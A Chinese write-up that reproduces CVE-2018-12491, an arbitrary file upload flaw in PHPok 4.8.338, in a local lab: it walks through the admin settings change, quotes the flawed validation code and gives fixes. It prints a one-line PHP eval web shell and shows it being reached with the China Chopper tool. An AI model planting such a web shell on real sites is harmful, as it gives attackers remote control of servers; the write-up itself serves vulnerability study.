PHPok4.8.338版本漏洞利用分析

作者:神秘网友 发布时间:2020-09-09 10:47:28

PHPok4.8.338版本漏洞利用分析

PHPok4.8.338版本漏洞利用分析

PHPok4.8.338版本漏洞利用分析

基本描述

phpok是一套采用PHP+MySQL开发的企业网站系统,其4.8.338及4.9.015版本存在任意文件上传漏洞。

漏洞信息

漏洞名称:phpok任意文件上传

漏洞编号:CVE-2018-12491

漏洞描述:phpok是一套采用PHP+MySQL开发的企业网站系统,其4.8.338及4.9.015版本存在任意文件上传漏洞,攻击者可利用漏洞上传任意文件,获取网站权限。

危害等级:高危

漏洞修复:对上传类型后缀进行过滤;升级phpok为最新版本。

实现环境

  • 操作系统:Windows10、ip:localhost
  • 工具:phpStudy、burpsuite、中国菜刀、文本查看器

安装

将源代码放入PHPstudy根目录www下,之后本地访问安装即可。

操作

  • 进入管理员后台

    http://localhost/admin.php
    账号:admin
    密码:admin
    

PHPok4.8.338版本漏洞利用分析

进入附件分类管理

PHPok4.8.338版本漏洞利用分析

对图片上传内容进行编辑,增加php后缀。。

PHPok4.8.338版本漏洞利用分析
上传附件图片,这时候发现上传的文件类型多了一种php。

制作一句话木马,准备上传:

<?php @eval($_POST['pass']);?>

上传本地文件到资源管理。

PHPok4.8.338版本漏洞利用分析

导入前的内容

PHPok4.8.338版本漏洞利用分析

导入后多了多了一些文件同时多了test.php(其他文件的增加也有可能是修改配置文件同代被修改的)

PHPok4.8.338版本漏洞利用分析

选择刚刚压缩的文件导入,可以看到文件已经上传到了\phpok_4.9.015\data\cache\目录下:

PHPok4.8.338版本漏洞利用分析

PHPok4.8.338版本漏洞利用分析

本地查看对应的目录下的文件。

PHPok4.8.338版本漏洞利用分析

一句话木马使用菜刀工具连接:

PHPok4.8.338版本漏洞利用分析

漏洞成因

#漏洞程序所在地
#\phpok_4.8.338\framework\admin\rescate_control.php:
		$list_filetypes = explode(",",$filetypes);
		foreach($list_filetypes as $key=>$value){
			$value = trim($value);
			if(!$value){
				unset($list_filetypes[$key]);
				continue;
			}
			if(!preg_match("/[a-z0-9\_\.]+/",$value)){
				$this->json(P_Lang('附件类型设置不正确,仅限字母,数字及英文点符号'));
			}
		}

}
		if(!preg_match("/[a-z0-9\_\.]+/",$value)){
			$this->json(P_Lang('附件类型设置不正确,仅限字母,数字及英文点符号'));
		}
	}

改出对于上传文件的处理,只是判断附件类型是否为空,没有限制后缀。导致可以自行添加PHP后缀,上传恶意文件,获取网站shell。

PHPok4.8.338版本漏洞利用分析相关教程

  1. 二叉树的递归和非递归
  2. Linux环境下如何更新node版本(升级)
  3. Mac和Windows下如何使用nvm安装和管理多个版本的node.js
  4. 汪震旭_远程代码执行漏洞222
  5. Web服务器解析漏洞
  6. 论PHP接口版本控制【兼容多端接口】
  7. drools7以上版本规则drl文件中使用Java枚举类型报错的解决办法
  8. Spark源码的编译过程详细解读(各版本)(博主推荐)